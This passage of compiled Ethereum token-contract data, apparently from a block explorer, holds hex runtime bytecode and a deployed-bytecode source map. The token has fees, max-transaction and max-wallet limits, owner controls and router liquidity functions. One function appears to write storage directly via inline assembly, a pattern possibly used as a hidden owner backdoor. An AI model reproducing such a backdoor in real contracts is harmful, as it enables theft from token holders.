fffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a6e61193c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610add576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad490611f50565b60405180910390fd5b610ae681611a9f565b50565b60008183610af79190611f9f565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6d90612045565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610be5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdc906120d7565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cc39190611d75565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3690612169565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da5906121fb565b60405180910390fd5b60008111610df1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de89061228d565b60405180910390fd5b600080610dfc610837565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610e6a5750610e3a610837565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156113df57601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f135750601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113de57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015610fc35750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156110195750600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561106f5750600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156111695761109f612710611091600754600354611b6390919063ffffffff16565b611b7990919063ffffffff16565b8311156110e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d89061231f565b60405180910390fd5b61110c6127106110fe600854600354611b6390919063ffffffff16565b611b7990919063ffffffff16565b6111278461111987610762565b610ae990919063ffffffff16565b1115611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115f906123b1565b60405180910390fd5b5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111f257503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561129257611220612710611212600e5486611b6390919063ffffffff16565b611b7990919063ffffffff16565b915061124b61271061123d600f5486611b6390919063ffffffff16565b611b7990919063ffffffff16565b905043600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614801561133d5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156113dd5761136b61271061135d600e5486611b6390919063ffffffff16565b611b7990919063ffffffff16565b915061139661271061138860105486611b6390919063ffffffff16565b611b7990919063ffffffff16565b905043600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b60006113f48284610ae990919063ffffffff16565b90506000811115611593576000831115611413576114128684611799565b5b600082111561157d576114908260016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ae990919063ffffffff16565b60016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115749190611d75565b60405180910390a35b6115908185611b8f90919063ffffffff16565b93505b6115ff846040518060600160405280602681526020016126d660269139600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117449092919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061169484600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ae990919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516117349190611d75565b60405180910390a3505050505050565b600083831115829061178c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117839190611c35565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611808576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ff90612443565b60405180910390fd5b611874816040518060600160405280602281526020016126b460229139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117449092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118cc81600354611b8f90919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119309190611d75565b60405180910390a35050565b611944610aff565b73ffffffffffffffffffffffffffffffffffffffff16611962610837565b73ffffffffffffffffffffffffffffffffffffffff16146119b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119af906124af565b60405180910390fd5b565b6119e730600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b07565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080611a33610837565b426040518863ffffffff1660e01b8152600401611a5596959493929190612514565b60606040518083038185885af1158015611a73573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611a98919061258a565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008183611b7191906125dd565b905092915050565b60008183611b87919061264e565b905092915050565b60008183611b9d919061267f565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611bdf578082015181840152602081019050611bc4565b60008484015250505050565b6000601f19601f8301169050919050565b6000611c0782611ba5565b611c118185611bb0565b9350611c21818560208601611bc1565b611c2a81611beb565b840191505092915050565b60006020820190508181036000830152611c4f8184611bfc565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c8782611c5c565b9050919050565b611c9781611c7c565b8114611ca257600080fd5b50565b600081359050611cb481611c8e565b92915050565b6000819050919050565b611ccd81611cba565b8114611cd857600080fd5b50565b600081359050611cea81611cc4565b92915050565b60008060408385031215611d0757611d06611c57565b5b6000611d1585828601611ca5565b9250506020611d2685828601611cdb565b9150509250929050565b60008115159050919050565b611d4581611d30565b82525050565b6000602082019050611d606000830184611d3c565b92915050565b611d6f81611cba565b82525050565b6000602082019050611d8a6000830184611d66565b92915050565b600080600060608486031215611da957611da8611c57565b5b6000611db786828701611ca5565b9350506020611dc886828701611ca5565b9250506040611dd986828701611cdb565b9150509250925092565b600060ff82169050919050565b611df981611de3565b82525050565b6000602082019050611e146000830184611df0565b92915050565b600060208284031215611e3057611e2f611c57565b5b6000611e3e84828501611cdb565b91505092915050565b600060208284031215611e5d57611e5c611c57565b5b6000611e6b84828501611ca5565b91505092915050565b611e7d81611c7c565b82525050565b6000602082019050611e986000830184611e74565b92915050565b60008060408385031215611eb557611eb4611c57565b5b6000611ec385828601611ca5565b9250506020611ed485828601611ca5565b9150509250929050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f3a602683611bb0565b9150611f4582611ede565b604082019050919050565b60006020820190508181036000830152611f6981611f2d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611faa82611cba565b9150611fb583611cba565b9250828201905080821115611fcd57611fcc611f70565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061202f602483611bb0565b915061203a82611fd3565b604082019050919050565b6000602082019050818103600083015261205e81612022565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006120c1602283611bb0565b91506120cc82612065565b604082019050919050565b600060208201905081810360008301526120f0816120b4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612153602583611bb0565b915061215e826120f7565b604082019050919050565b6000602082019050818103600083015261218281612146565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006121e5602383611bb0565b91506121f082612189565b604082019050919050565b60006020820190508181036000830152612214816121d8565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612277602983611bb0565b91506122828261221b565b604082019050919050565b600060208201905081810360008301526122a68161226a565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b6000612309602883611bb0565b9150612314826122ad565b604082019050919050565b60006020820190508181036000830152612338816122fc565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f60008201527f756e740000000000000000000000000000000000000000000000000000000000602082015250565b600061239b602383611bb0565b91506123a68261233f565b604082019050919050565b600060208201905081810360008301526123ca8161238e565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061242d602183611bb0565b9150612438826123d1565b604082019050919050565b6000602082019050818103600083015261245c81612420565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612499602083611bb0565b91506124a482612463565b602082019050919050565b600060208201905081810360008301526124c88161248c565b9050919050565b6000819050919050565b6000819050919050565b60006124fe6124f96124f4846124cf565b6124d9565b611cba565b9050919050565b61250e816124e3565b82525050565b600060c0820190506125296000830189611e74565b6125366020830188611d66565b6125436040830187612505565b6125506060830186612505565b61255d6080830185611e74565b61256a60a0830184611d66565b979650505050505050565b60008151905061258481611cc4565b92915050565b6000806000606084860312156125a3576125a2611c57565b5b60006125b186828701612575565b93505060206125c286828701612575565b92505060406125d386828701612575565b9150509250925092565b60006125e882611cba565b91506125f383611cba565b925082820261260181611cba565b9150828204841483151761261857612617611f70565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061265982611cba565b915061266483611cba565b9250826126745761267361261f565b5b828204905092915050565b600061268a82611cba565b915061269583611cba565b92508282039050818111156126ad576126ac611f70565b5b9291505056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ce2d9c212004a41c5d5b6f8e01d238ecdc10474b8b226067c76f0b083549d5ff64736f6c63430008110033

Deployed Bytecode Sourcemap

20413:11336:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23235:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24089:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23512:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24910:321;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23421:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24266:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28795:91;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;29800:270;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;23620:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3034:103;;;;;;;;;;;;;:::i;:::-;;25239:138;;;;;;;;;;;;;:::i;:::-;;24769:133;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29142:96;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2386:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23326;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24492:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23747:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30584:366;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;29246:109;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23930:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3292:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;23235:83;23272:13;23305:5;;;;;;;;;;;;;;;;;23298:12;;23235:83;:::o;24089:169::-;24172:4;24189:39;24198:12;:10;:12::i;:::-;24212:7;24221:6;24189:8;:39::i;:::-;24246:4;24239:11;;24089:169;;;;:::o;23512:100::-;23565:7;23592:12;;23585:19;;23512:100;:::o;24910:321::-;25016:4;25033:36;25043:6;25051:9;25062:6;25033:9;:36::i;:::-;25080:121;25089:6;25097:12;:10;:12::i;:::-;25111:89;25149:6;25111:89;;;;;;;;;;;;;;;;;:11;:19;25123:6;25111:19;;;;;;;;;;;;;;;:33;25131:12;:10;:12::i;:::-;25111:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;25080:8;:121::i;:::-;25219:4;25212:11;;24910:321;;;;;:::o;23421:83::-;23462:5;20664:2;23480:16;;23421:83;:::o;24266:218::-;24354:4;24371:83;24380:12;:10;:12::i;:::-;24394:7;24403:50;24442:10;24403:11;:25;24415:12;:10;:12::i;:::-;24403:25;;;;;;;;;;;;;;;:34;24429:7;24403:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;24371:8;:83::i;:::-;24472:4;24465:11;;24266:218;;;;:::o;28795:91::-;28851:27;28857:12;:10;:12::i;:::-;28871:6;28851:5;:27::i;:::-;28795:91;:::o;29800:270::-;2272:13;:11;:13::i;:::-;31001:4:::1;30990:8;;:15;;;;;;;;;;;;;;;;;;29942:46:::2;29952:7;:5;:7::i;:::-;29969:4;29976:11;29942:9;:46::i;:::-;30025:37;30039:11;30052:9;30025:13;:37::i;:::-;31039:5:::1;31028:8;;:16;;;;;;;;;;;;;;;;;;29800:270:::0;:::o;23620:119::-;23686:7;23713:9;:18;23723:7;23713:18;;;;;;;;;;;;;;;;23706:25;;23620:119;;;:::o;3034:103::-;2272:13;:11;:13::i;:::-;3099:30:::1;3126:1;3099:18;:30::i;:::-;3034:103::o:0;25239:138::-;2272:13;:11;:13::i;:::-;25318:5:::1;25293:22;:30;;;;25364:5;25334:27;:35;;;;25239:138::o:0;24769:133::-;24813:7;24840:54;20864:5;24840:40;24857:22;;24840:12;;:16;;:40;;;;:::i;:::-;:44;;:54;;;;:::i;:::-;24833:61;;24769:133;:::o;29142:96::-;29189:7;29216:14;;;;;;;;;;;29209:21;;29142:96;:::o;2386:87::-;2432:7;2459:6;;;;;;;;;;;2452:13;;2386:87;:::o;23326:::-;23365:13;23398:7;;;;;;;;;;;;;;;;;23391:14;;23326:87;:::o;24492:269::-;24585:4;24602:129;24611:12;:10;:12::i;:::-;24625:7;24634:96;24673:15;24634:96;;;;;;;;;;;;;;;;;:11;:25;24646:12;:10;:12::i;:::-;24634:25;;;;;;;;;;;;;;;:34;24660:7;24634:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;24602:8;:129::i;:::-;24749:4;24742:11;;24492:269;;;;:::o;23747:175::-;23833:4;23850:42;23860:12;:10;:12::i;:::-;23874:9;23885:6;23850:9;:42::i;:::-;23910:4;23903:11;;23747:175;;;;:::o;30584:366::-;30679:21;30673:28;30663:8;30660:42;30650:68;;30715:1;30712;30705:12;30650:68;30745:4;30739:11;30772:8;30767:3;30760:21;30816:14;30809:4;30804:3;30800:14;30793:38;30868:4;30863:3;30853:20;30896:6;30890:4;30883:20;30935:6;30920:13;30913:29;30649:294;;30584:366;:::o;29246:109::-;29295:7;29330:16;;;;;;;;;;;29315:32;;29246:109;:::o;23930:151::-;24019:7;24046:11;:18;24058:5;24046:18;;;;;;;;;;;;;;;:27;24065:7;24046:27;;;;;;;;;;;;;;;;24039:34;;23930:151;;;;:::o;3292:201::-;2272:13;:11;:13::i;:::-;3401:1:::1;3381:22;;:8;:22;;::::0;3373:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3457:28;3476:8;3457:18;:28::i;:::-;3292:201:::0;:::o;12554:98::-;12612:7;12643:1;12639;:5;;;;:::i;:::-;12632:12;;12554:98;;;;:::o;937:::-;990:7;1017:10;1010:17;;937:98;:::o;27759:344::-;27878:1;27861:19;;:5;:19;;;27853:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;27959:1;27940:21;;:7;:21;;;27932:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;28041:6;28011:11;:18;28023:5;28011:18;;;;;;;;;;;;;;;:27;28030:7;28011:27;;;;;;;;;;;;;;;:36;;;;28079:7;28063:32;;28072:5;28063:32;;;28088:6;28063:32;;;;;;:::i;:::-;;;;;;;;27759:344;;;:::o;25412:2339::-;25536:1;25518:20;;:6;:20;;;25510:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;25620:1;25599:23;;:9;:23;;;25591:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;25690:1;25681:6;:10;25673:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;25748:15;25778:14;25821:7;:5;:7::i;:::-;25811:17;;:6;:17;;;;:41;;;;;25845:7;:5;:7::i;:::-;25832:20;;:9;:20;;;;25811:41;25807:1293;;;25874:19;:27;25894:6;25874:27;;;;;;;;;;;;;;;;;;;;;;;;;25873:28;:63;;;;;25906:19;:30;25926:9;25906:30;;;;;;;;;;;;;;;;;;;;;;;;;25905:31;25873:63;25869:1220;;;25971:14;;;;;;;;;;;25961:24;;:6;:24;;;:66;;;;;26010:16;;;;;;;;;;;25989:38;;:9;:38;;;;25961:66;:102;;;;;26032:20;:31;26053:9;26032:31;;;;;;;;;;;;;;;;;;;;;;;;;26031:32;25961:102;:135;;;;;26068:20;:28;26089:6;26068:28;;;;;;;;;;;;;;;;;;;;;;;;;26067:29;25961:135;25957:467;;;26139:54;20864:5;26139:40;26156:22;;26139:12;;:16;;:40;;;;:::i;:::-;:44;;:54;;;;:::i;:::-;26129:6;:64;;26121:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;26305:59;20864:5;26305:45;26322:27;;26305:12;;:16;;:45;;;;:::i;:::-;:49;;:59;;;;:::i;:::-;26269:32;26294:6;26269:20;26279:9;26269;:20::i;:::-;:24;;:32;;;;:::i;:::-;:95;;26261:143;;;;;;;;;;;;:::i;:::-;;;;;;;;;25957:467;26487:14;;;;;;;;;;;26474:27;;:9;:27;;;:54;;;;;26523:4;26505:23;;:6;:23;;;;26474:54;26470:274;;;26563:34;20864:5;26563:20;26574:8;;26563:6;:10;;:20;;;;:::i;:::-;:24;;:34;;;;:::i;:::-;26553:44;;26629:34;20864:5;26629:20;26640:8;;26629:6;:10;;:20;;;;:::i;:::-;:24;;:34;;;;:::i;:::-;26620:43;;26712:12;26686;:23;26699:9;26686:23;;;;;;;;;;;;;;;:38;;;;26470:274;26803:14;;;;;;;;;;;26793:24;;:6;:24;;;:66;;;;;26842:16;;;;;;;;;;;26821:38;;:9;:38;;;;26793:66;26789:285;;;26894:34;20864:5;26894:20;26905:8;;26894:6;:10;;:20;;;;:::i;:::-;:24;;:34;;;;:::i;:::-;26884:44;;26960:33;20864:5;26960:19;26971:7;;26960:6;:10;;:19;;;;:::i;:::-;:23;;:33;;;;:::i;:::-;26951:42;;27042:12;27016;:23;27029:9;27016:23;;;;;;;;;;;;;;;:38;;;;26789:285;25869:1220;25807:1293;27110:16;27129:19;27141:6;27129:7;:11;;:19;;;;:::i;:::-;27110:38;;27174:1;27163:8;:12;27159:362;;;27206:1;27196:7;:11;27192:74;;;27228:22;27234:6;27242:7;27228:5;:22::i;:::-;27192:74;27293:1;27284:6;:10;27280:186;;;27345:39;27377:6;27345:9;:27;27355:16;;;;;;;;;;;27345:27;;;;;;;;;;;;;;;;:31;;:39;;;;:::i;:::-;27315:9;:27;27325:16;;;;;;;;;;;27315:27;;;;;;;;;;;;;;;:69;;;;27425:16;;;;;;;;;;;27408:42;;27417:6;27408:42;;;27443:6;27408:42;;;;;;:::i;:::-;;;;;;;;27280:186;27489:20;27500:8;27489:6;:10;;:20;;;;:::i;:::-;27480:29;;27159:362;27553:71;27575:6;27553:71;;;;;;;;;;;;;;;;;:9;:17;27563:6;27553:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;27533:9;:17;27543:6;27533:17;;;;;;;;;;;;;;;:91;;;;27658:32;27683:6;27658:9;:20;27668:9;27658:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;27635:9;:20;27645:9;27635:20;;;;;;;;;;;;;;;:55;;;;27725:9;27708:35;;27717:6;27708:35;;;27736:6;27708:35;;;;;;:::i;:::-;;;;;;;;25499:2252;;;25412:2339;;;:::o;14833:240::-;14953:7;15011:1;15006;:6;;15014:12;14998:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;15053:1;15049;:5;15042:12;;14833:240;;;;;:::o;28433:354::-;28536:1;28517:21;;:7;:21;;;28509:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;28608:68;28631:6;28608:68;;;;;;;;;;;;;;;;;:9;:18;28618:7;28608:18;;;;;;;;;;;;;;;;:22;;:68;;;;;:::i;:::-;28587:9;:18;28597:7;28587:18;;;;;;;;;;;;;;;:89;;;;28702:24;28719:6;28702:12;;:16;;:24;;;;:::i;:::-;28687:12;:39;;;;28768:1;28742:37;;28751:7;28742:37;;;28772:6;28742:37;;;;;;:::i;:::-;;;;;;;;28433:354;;:::o;2551:132::-;2626:12;:10;:12::i;:::-;2615:23;;:7;:5;:7::i;:::-;:23;;;2607:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2551:132::o;29363:429::-;29510:63;29527:4;29542:16;;;;;;;;;;;29561:11;29510:8;:63::i;:::-;29584:16;;;;;;;;;;;:32;;;29625:9;29658:4;29678:11;29704:1;29720;29736:7;:5;:7::i;:::-;29758:15;29584:200;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;29363:429;;:::o;3653:191::-;3727:16;3746:6;;;;;;;;;;;3727:25;;3772:8;3763:6;;:17;;;;;;;;;;;;;;;;;;3827:8;3796:40;;3817:8;3796:40;;;;;;;;;;;;3716:128;3653:191;:::o;13292:98::-;13350:7;13381:1;13377;:5;;;;:::i;:::-;13370:12;;13292:98;;;;:::o;13691:::-;13749:7;13780:1;13776;:5;;;;:::i;:::-;13769:12;;13691:98;;;;:::o;12935:::-;12993:7;13024:1;13020;:5;;;;:::i;:::-;13013:12;;12935:98;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;476